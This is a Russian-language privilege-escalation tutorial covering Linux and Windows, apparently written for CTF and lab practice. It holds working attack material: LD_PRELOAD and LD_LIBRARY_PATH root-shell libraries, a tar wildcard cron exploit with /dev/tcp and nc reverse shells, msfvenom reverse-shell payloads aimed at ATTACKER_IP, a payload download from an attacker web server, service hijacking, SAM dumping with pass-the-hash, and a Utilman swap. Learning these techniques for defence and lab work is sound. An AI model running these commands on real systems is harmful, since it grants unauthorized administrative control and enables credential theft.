Эскалация привилегий
Privilige escalation - Privesc - повышение привилегий - одно из основных действий kill chain, результатом которого является получение административного доступа к системе.
Суть состоит в том, что используются имеющиеся изъяны в ОС или ПО способные предоставить неавторизованный доступ к таким ресурсам, на которые обыкновенный пользователь не имеет прав.
Существует два сценария повышения привилегий - горизонтальное и вертикальное. Понятно, что вертикальное подразумевает переход от доступа с обычными привилегиями к доступу с большими. Горизонтальный - от отдного простого пользователя к другому, в надежде, что у него есть sudo на какой нибудь бинарник.
Эскалация привилегий в Linux
Некоторые способы горизонтального повышения привилегий будут описаны ниже. Перед этим, следует обозначить команды и файлы которые могут быть полезны на этапе сбора информации о возможных путях эскалации привилегий:
Команда/файл | Описание предоставляемой информации |
---|---|
hostname |
наименование машины может косвенно сообщить о том, какой сервис на ней крутится |
uname -a |
получение информации о системе даст сведения о версии ядра, для поиска kernel уязвимостей |
/proc/version |
сведения о версии ядра, для поиска kernel уязвимостей |
/etc/issue |
сведения о версии ОС, для поиска уязвимостей ОС |
ps |
получение информации о запущенных сервисах, для поиска уязвимостей |
env |
в переменных окружения может хранится полезная информация |
sudo -l |
всегда полезно знать о том, что можно запускать через sudo |
ls -ahl |
для поиска скрытых файлов |
id [$username] |
получение информации как о текущем так и о другом пользователе системы |
/etc/passwd |
кратчайший путь для получения логинов всех пользователей |
history |
крайне полезно изучать историю. Особенно чужую) |
ifconfig или ip a sh |
сведения о сетевых адаптерах. Вдруг придется сканить локалку с текущей машины? |
netstat или lsof -n -i46 |
сведения об открытых сетевых подключениях, сокетах/файлов никогда не будут лишними |
find |
в случае если просто нужен flag.txt ) |
Далее, способы повышения привилегий.
Некорректный доступ к /etc/shadow
По умолчанию только root пользователь имеет read/write права к /etc/shadow
.
Предоставление подобных прав иным пользователям чревато тем, что они могут:
- Если есть права на чтение, то прогнать хэш root пользователя через JohnTheRipper или условный hashes.com и ему подобные ресурсы;
- Если есть права на запись, то отредактировать
/etc/shadow
вставив туда хэш нового пароля: или
Некорректный доступ к /etc/passwd
По умолчанию только root пользователь имеет read/write права к /etc/passwd
.
Предоставление подобных прав иным пользователям чревато тем, что они могут:
Если есть права на запись - отредактировать /etc/passwd
вставив туда хэш нового пароля:
Некорректная раздача sudo прав
Имея sudo
на некоторые бинарники, расширить доступ до root не составит труда. Список таких уязвимых бинарников можно найти на GTFObins
Их уязвимость заключается в том, что для корректной работы им нужны SUID права. Неверная конфигурация, читай выдача sudo, на выполнение таких бинарников администратором системы - чревата получением root неавторизованным пользователем.
sudo права и переменные окружения
Некоторые программы запускаемые через sudo
не имеют явной возможности вызвать шелл, в таких случаях, может быть использован следующий вариант.
sudo
может быть сконфигурированно таким образом, что при его использовании будут наследоваться определенные переменные окружения.
В контексте эскалации привилегий интересны 2 такие переменные: LD_PRELOAD
и LD_LIBRARY_PATH.
-
LD_PRELOAD
- определяет общие библиотеки/бинарники (shared objects) которые будут загружены до запуска любой вызванной программы. -
LD_LIBRARY_PATH
- определяет директории где изначально будут искаться shared objects
Далее практический пример реализации эскалации прав при наличии вышеуказанных переменных в контексте sudo:
Используя LD_PRELOAD
Предположим, что выданные права sudo сохраняют вышеуказанные пользовательские переменные окружения:
Создается и компилируется shared object preload.c
:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
Загрузив в LD_PRELOAD
вышеуказанный бинарник, запускается программа к которой имеется доступ через sudo:
Получаем root шелл.
Используя LD_LIBRARY_PATH
Имеется бинарник разрешенный к запуску через sudo, но не имеющий явного вызова шелл. К примеру apache2.
Узнав какие библиотеки использует вышеуказанный бинарник, создаем и компилируем shared object с именем одного из бинарников:
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
LD_LIBRARY_PATH
путь к нужному файлу, запускаем апач:
Получаем root шелл.
Некорректная конфигурация cronjobs
Задачи из cronjobs
, если они были сконфигурированы неверно, могут быть использованы для вызова неразрешенных бинарников из под root пользователя:
- В
/etc/ctontab
есть задача выполняемая из под root
Изменив содержание overwrite.sh
, можно вызвать shell с suid правами:
cronjobs и tar *
Отдельный разговор про использование заданий с архиваторами которые запускаются с wildcard масками.
К примеру у tar
есть ключи (--checkpoint
, --checkpoint-action
) которые позволяют запустить произвольный бинарник, а так как наличие wildcard маски в скрипте, заставит его выполнить операцию над всеми файлами в указанном каталоге, эксплуатировать уязвимость не составит труда:
Предположим, что в crontab tar вызывается из домашней директории следующим образом:
тогда для запуска payload:cоздадим payload local_sh.sh
который запустит сеанс sh
на локальном порту 4444:
#Находясь в директории файлы из которой обрабатывает tar
echo -e '#!/bin/sh\n/bin/sh -i >& /dev/tcp/127.0.0.1/4444 0>&1' > local_sh.sh
chmod +x local_sh.sh
#Находясь в директории файлы из которой обрабатывает tar
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f" > fifo_shell.sh
chmod +x fifo_shell.sh
создадим файлы которые tar
обработает как ключи в команде:
#Находясь в директории файлы из которой обрабатывает tar
touch "./--checkpoint=1"
touch "~/--checkpoint-action=exec=sh local_sh.sh[fifo_shell.sh]"
останется запустить nc -lvnp 4444
и ждать выполнения задачи, а с ней и открытия root shell
Подробное объяснение такой атаки здесь
Некорректная раздача SUID SGID прав.
Оказавшись на целевой машине, хорошим делом будет поискать в системе бинарники с SUID, SGID правами (пример для Debian based машин):
далее, возможны следующие шаги:-
пользуясь GTFOBins получить информацию о том как эскалировать привилегии у таких бинарников;
-
гуглить или искать на Exploit-DB известные уязвимости по типу Local (Local Privilege Escalation);
-
если бинарник с SUID/GUID правами использует в своей работе shared objects которые принадлежат локальному пользователю, можно подменить такие библиотеки на payload который выполнит нужное действие. Найти используемые библиотеки бинарника можно через
далее код компилируется и помещается в директорию с shared object-ом: после чего запускаем бинарник -> получаем root shellstrace
. Подходящий (имеющий rw права) объект можно подменить, к примеру, на такой код: -
Если бинарник с SUID/GUID использует в своей работе вызовы других приложений к которым указаны не абсолютные пути, можно подменить такие приложения на нужный payload. Использование
компилируем: Добавляем в PATH текущий путь и открываем бинарник:strings
может быть полезно для получения информации о вызовах сторонних приложений:
в процессе работы, бинарник с SUID правами suid-env вызывает некийservice
. Он вызывается без абсолютного пути, следовательно его можно подменить:
Capabilities
Отдельно следует упомянуть capabilities - возможность более гранулярной раздачи прав на файлы в отличии от привычной модели основанной на привилегированном/непривилегированном пользователе.
В части касающейся эскалации привилегий, будут интересны те бинарники у которых выставлен capability флаг CAP_SETUID который представляет из себя фактически SUID бит, однако не отображается как таковой через тот же ls
.
Для поиска бинарников с установленными capabilities флагами можно воспользоваться следующей командой:
далее, по аналогии с SUID/SGID - идём на GTFOBins, а дальше понятно.
Исследование history, config и прочих файлов.
Исследований истории введенных команд и различных конфигурационных файлов может быть полезно, порой там можно найти ценную информацию включая credentials.
Также имеют место быть случаи, когда беспечные пользователи могут сбэкапить private keys в директории с некорреткными правами, следовательно полезно поискать файлы ключей в системе, например так:
NFS и no_root_squash
В NFS шарах по умолчанию у файлов которые загружают пользователи из под root, автоматически меняется владелец на nfsnobody.
Однако, если nfs шара установлена директива no_root_squash
- такого не происходит.
Настройки NFS, в том числе установленные директивы, доступны всем пользователями в файле
/etc/exports
Можно на своей машине создать payload в msfvenom
или просто скопировать /bin/sh
на который установить SUID права (chmod +xs
), а потом залить его на шару, однако такой метод не всегда будет работать из-за возможного несоответсвия библиотек на машинах.
Считаю, что оптимальным вариантом является использование бинарника который запускает shell. :
/* находимся в шаре с директивой no_root_squash
под root*/
int main()
{
setuid(0);
setgid(0);
system(/bin/bash);
return 0;
}
# находимся в шаре с директивой no_root_squash
# под root
gcc s_bash.c -o suid-bash -w
chmod +s suid-bash
Kernel Exploits
Есть смысл проверить существуют ли известные уязвимости для текущей версии ядра. Это можно сделать как в ручную, через uname -r
с дальнейшим гуглением или поиском на exploit-DB, так и через удобный скрипт на perl - Linux-exploit-suggester2
Если система запущена на древнем ядре, есть шанс на получение root shell, через какой-нибудь условный Dirty COW эксплойт
Помни!
Перед запуском kernel exploit убедись в том, что ты понимаешь то как работает эксплойт и что он делает.
Некоторые эксплойты могут нанести непоправимый вред системе!!!
Если для CTF это не сильно важно, то при работе в продакшне нужно быть четырежды внимательным и не запускать абы что.
Скрипты для поиска возможностей Privesc
Дабы не искать вручную все перечисленные возможности эскалации прав, имеются популярные скрипты которые автоматизируют поиск и выводят подбробный отчёт о потенциальных возможностях эскалации прав:
Эскалация привилегий в Windows
Сбор сведений среди хранимой информации
В процессе работы, сведения, включая логины/пароли и прочие полезные данные, могут сохранятся в конфигурационных файлах, реестре, файлах с историей ввода команд.
Конфигурация автоматической установки Windows
В процессе массового развертывания образа ОС на различных машинах через Windows Deployment Server, могут быть найдены конфигурационные файлы содержащие в себе логины/пароли учетных записей с административными правами:
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
История Powershell
Не менее полезным является изучение истории ввода Powershell:
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt`
cat $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt`
Сохранённые логины/пароли
Windows позволяет использовать и сохранять логины/пароли различных пользователей. Утилита cmdkey /list
отобразит такие сведения. Не смотря на то, что пароли увидеть таким образом, понятно дело, нельзя, можно попробовать запустисть что-нибудь с сохранёнными логинами/паролями:
Конфигурация IIS
Microsoft IIS Server сохраняет конфигурационые сведения в файлах web.config
. Там могут быть сведения о БД, паролях, механизмах и способах подключения/авторизации. Для быстрого поиска информации можно использовать findstr
:
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
type C:\inetpub\wwwroot\web.config | findstr connectionString
Получение информации из стороннего ПО.
Интересная информация может содержаться в файлах конфигураций и записях реестра различного ПО. На примере, putty, получим сведения о сессии "Proxy":
Scheduler и уязвимые задачи
Планировщик задач может содержать в себе неверно сконфигурированные задачи, которые могут быть использованы для получения привилегированного доступа к системе. Такие задачи обычно позволяют заменить вызываемый ими бинарник.
Для получения информации об информации по конкретной задаче vuln_task
можно воспользоваться утилитой schtasks
:
Для получения информации о правах используется
icacls
Представим, что задача вызывает некий батник (C:\tasks\schtask.bat
), на редактирование которого у нас имеются права. Тогда:
AlwaysInstallElevated
msi пакеты в Windows, как правило запускаются с правами того пользователя который их запустил. Однако, имеется возможность запускать любой msi пакет любым пользователем с административными правами. Для этого, должны быть определены 2 значения в реестре:
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi
Получим reverse shell с административными правами.
Ошибки конфигурации сервисов
Так как каждый сервис связан с конкретным исполняемым файлом, возможность подмены исполняемого файла приведет к тому, что сервис запустит его из под своих прав.
Обрати внимание!
Не каждый бинарник может быть запущен в качестве сервиса. Подходящий должен иметь реализацию функций взаимодействия с Service Control Manager (SCM) - процесса который управляет сервисами Windows.
Сведения о конкретном сервисе можно получить с помощью GUI приложения services.msc
, CLI к SCM sc.exe
, записей в ветке реестра HKLM\SYSTEM\CurrentControlSet\Services
.
Небезопасные права на исполняемые файлы сервисов
Предположим, что бинарник уязвимого сервиса доступен для редактирования:
C:\> sc qc Vuln_service
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: Vuln_service
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\PROGRA~2\SYSTEM~1\Vuln_service.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Test vulnerable Service
DEPENDENCIES :
SERVICE_START_NAME : .\Dummy
C:\Users\unpriv_user>icacls C:\PROGRA~2\SYSTEM~1\Vuln_service.exe
C:\PROGRA~2\SYSTEM~1\Vuln_service.exe Everyone:(I)(M)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
Successfully processed 1 files; Failed processing 0 files
С помощью msfvenom упакуем tcp reverse shell в исполняемый файл с возможностью запуска в качестве сервиса:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=9901 -f exe-service -o rev_shell.exe
Далее передадим его на машину с Windows, подменим им нужный бинарь, зададим права, запустим listener:
# На машине атакующего
python3 -m http.server 8000
nc -lvтp 9901
# На машине с Windows
wget http://ATTACKER_IP:8000/rev-svc.exe -O rev_shell.exe
# Подмена и назначение прав
cd C:\PROGRA~2\SYSTEM~1\
move Vuln_service.exe Vuln_service.exe.bkp
move C:\Users\thm-unpriv\rev-svc.exe Vuln_service.exe
icacls Vuln_service.exe /grant Everyone:F
PATH без кавычек
Другим случаем возможной эскалации привилегий является сервис/задание который сконфигурирован таким образом, что абсолютный путь до исполняемого файла задан без кавычек. Это позволяет создать запустить произвольный бинарник в случае если его имя и путь до него, является частью пути до исполняемого файла уязвимого сервиса. Например:
C:\> sc qc "Vuln service_2"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: Vuln service_2
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : D:\Distr\Vuln Software Enterprise\bin\vuln_service2.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Vuln service with unquotted path
DEPENDENCIES :
SERVICE_START_NAME : .\Dummy
№ попытки | Команда | Аргумент 1 | Аргумент 2 |
---|---|---|---|
1 | D:\Distr\Vuln.exe | Software | Enterprise\bin\vuln_service2.exe |
2 | D:\Distr\Vuln Software.exe | Enterprise\bin\vuln_service2.exe | |
3 | D:\Distr\Vuln Software Enterprise\bin\vuln_service2.exe |
Как видно из таблицы, корректный запуск произойдет лишь с третьей попытки. Следовательно, если создать исполняемый файл "по пути следования", он будет запущен с правами запускаюшего его сервиса.
К сведению!
Однако, как можно догадаться, это применимо лишь к тем исполняемым файлам, которые не размещены в C:\Program Files
или C:\Program Files (86)
, так как к этим директориям у не привилегированных пользователей нет прав на модификацию или запись.
В случае из примера, исполняемый файл сервиса размещен в иной директории. Следовательно, по аналогии с примером из предыдущего раздела: убеждаемся, что имеем права на создание файлов в D:\Distr
, создаем и упаковывем в exe-service
tcp-reverse-shell под именем Vuln.exe
, отправляем на машину, назначаем права, перезапускаем службу, профит!
Небезопасные права сервисов
Еще одним возможным способом эскалации привилегий через сервисы Windows является изменение параметров самого сервиса.
Операции над сервисами ограничены DACL (Distrectionaly Access Control List) и в случае если в этом DACL указана возможность редактирования параметров сервиса, эскалировать привилегии не составит труда.
DACL конкретного сервиса можно посмотреть через Accesschk:
C:\tools\AccessChk> accesschk64.exe -qlc vulnservice
[0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_PAUSE_CONTINUE
SERVICE_START
SERVICE_STOP
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
[4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
SERVICE_ALL_ACCESS
из примера видно, что локальным пользователям предоставлены полные права на редактирование сервиса. В таком случае можно создать payload с tcp-reverse-shell и запаковать его в exe с возможностью запуска в качестве сервиса:
# На машине атакующего
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=9001 -f exe-service -o rev-shell.exe
# Назначаем права
C:\> icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F
# Изменяем исполяемый файл сервиса. Назначаем запуск сервиса от имени LocalSystem
C:\> sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem
# Перезапускаем службу
C:\> sc stop THMService
C:\> sc start THMService
Злоупотребление опасными привилегиями
Как известно, каждый пользователь системы наделён определенными привилегиями для работы в ОС. Посмотреть список таких привилений можно через
Привилегии выдаются на различные действия с системой, будь то разрешение на выключение хоста или создание ярлыков и т.д. и т.п. Полный список таких привилегий можно найти на learn.microsoft.comВ контексте эскалации привилегий интересна лишь часть из всех. Исчерпывающий список можно найти в проекте Priv2Admin.
SeBackup/SeRestore
Указанные в подзаголовке привилегии на самом деле очень опасны. Необходимы они для безпрепятсвенного выполнения бэкапов и позволяют пользователям наделенными этими правами читать и записывать файлы в обход любых ACL. Необходимость создания таких привилегий заключалась в удобной работе с архивированием данных, именно поэтому указанными привилегиями наделены пользователи входящие в группу Backup Operators
.
C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeBackupPrivilege
и SeRestorePrivilege
К сведению
В представленном выводе нет необходимости обращать внимания на поле state
, главное чтобы привилегии были перечисленны в поле Privilege Name
В виду того, что обладание рассматриваемыми привилегиями позволяет миновать любые ограничения на доступ к файлам, открывается возможность экспортировать хэши паролей хранящиеся в SAM:
# Сбэкапим SYSTEM куст
C:\> reg save hklm\system C:\Users\THMBackup\system.hive
The operation completed successfully.
# Сбэкапим SAM куст
C:\> reg save hklm\sam C:\Users\THMBackup\sam.hive
The operation completed successfully.
Далее, передав полученные сведения на машину атакующего, используя secretsdump из проекта Impacet:
# С машины атакующего
python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
[*] Target system bootKey: 0x36c8d28ec0df8b78ce63bcefe6e2b834
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:bbe4c546c62515ffbbe4c546c62515ff:24b15dedg4e8fd52375f679238d6db85:::
Используя pass-the-hash атаку получим доступ к системе с привилегиями NT AUTHORITY\SYSTEM
. Снова воспользуемся инструментами из Impacet:
# С машины атакующего
python3.9 /opt/impacket/examples/psexec.py -hashes bbe4c546c62515ffbbe4c546c62515ff:24b15dedg4e8fd52375f679238d6db85 administrator@TARGET_IP
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
[*] Requesting shares on 10.10.175.90.....
[*] Found writable share ADMIN$
[*] Uploading file nfhtabqO.exe
[*] Opening SVCManager on 10.10.175.90.....
[*] Creating service RoLE on 10.10.175.90.....
[*] Starting service RoLE.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
SeTakeOwnership
Рассматриваемая привилегия предоставляет пользователю возможность становится владельцем любого объекта в системе, включая файлы, ключи реестра и т.п.
Разберем следующий случай: находим сервис работающий под правами NT AUTHORITY\SYSTEM
, становимся владельцем исполняемого файла этого сервиса, назначаем себе как владельцу права на этот исполняемый файл и подменяем его. Далее, в качестве примера, вышеописанные действия проведём в отношении сервиса "Специальные возможности", который предоставляет доступ к различным утилитам (экранный диктор, вирутальная клавиатура, экранная лупа и т.д.) прямо из экрана заблокированной сессии. Так как указанный сервис выполняется под системной учётной записью, замена его исполняемого файла на cmd.exe
приведет к запуску командной строки Windows с системными правами:
# Становимся владельцем исполняемого файла сервиса "Специальные возможности"
C:\> takeown /f C:\Windows\System32\Utilman.exe
# Наделяем правами текущую учетную запись
C:\> icacls C:\Windows\System32\Utilman.exe /grant Dummy_user:F
# Подменяем исполняемый файл сервиса
C:\Windows\System32\> copy cmd.exe utilman.exe
После проделанных действий вызов "Специальных возможностей" приведет к открытию cmd
с правами NT AUTHORITY\SYSTEM
Скрипты для поиска возможностей Privesc
Дабы не искать вручную все перечисленные возможности эскалации прав, имеются популярные скрипты которые автоматизируют поиск и выводят подбробный отчёт о потенциальных возможностях эскалации прав:
Дополнительные полезные ресурсы на тему privesc: netbiosx